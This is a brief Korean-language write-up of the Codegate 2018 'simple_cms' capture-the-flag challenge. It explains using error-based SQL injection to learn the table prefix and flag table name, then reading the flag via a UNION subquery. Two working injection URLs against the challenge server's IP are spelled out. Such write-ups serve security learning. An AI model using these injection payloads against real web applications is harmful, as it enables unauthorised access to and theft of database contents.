Codegate 2018 simple_cms

Write up을 쓰는것을 까먹고 있었다.

소스를 분석해보면 쿼리에서 오류가 나면 mysql_error()로 출력을 해준다. 이 뜻은 error sql injection을 사용하라는 것 같다. 

에러 sql injection을 이용하여서 table_prefix를 구해서 flag테이블 이름을 알아내고 아직 컬럼 이름을 모르기 때문에 wargame.kr adm1nkyj무제에서 사용한 방법을 이용하여서 플래그를 얻을 수 있다.

EROR SQLI: http://222.110.147.52/simple_cms/index.phpact=board&mid=search&col=title%23&type=1&search=%0a)%20having%20count(title)%23 

simple_cms.7876616f46676a456c42_board.idx

GET FLAG QUERY:

http://222.110.147.52/simple_cms/index.php?act=board&mid=search&col=title%23&type=1&search=%0a)%20union%20select%20t,2,3,4,5%20from%20(select%201,2,3%20as%20t,4%20union%20select%20*%20from%207876616f46676a456c42_flag%20limit%201,1)%20tt%23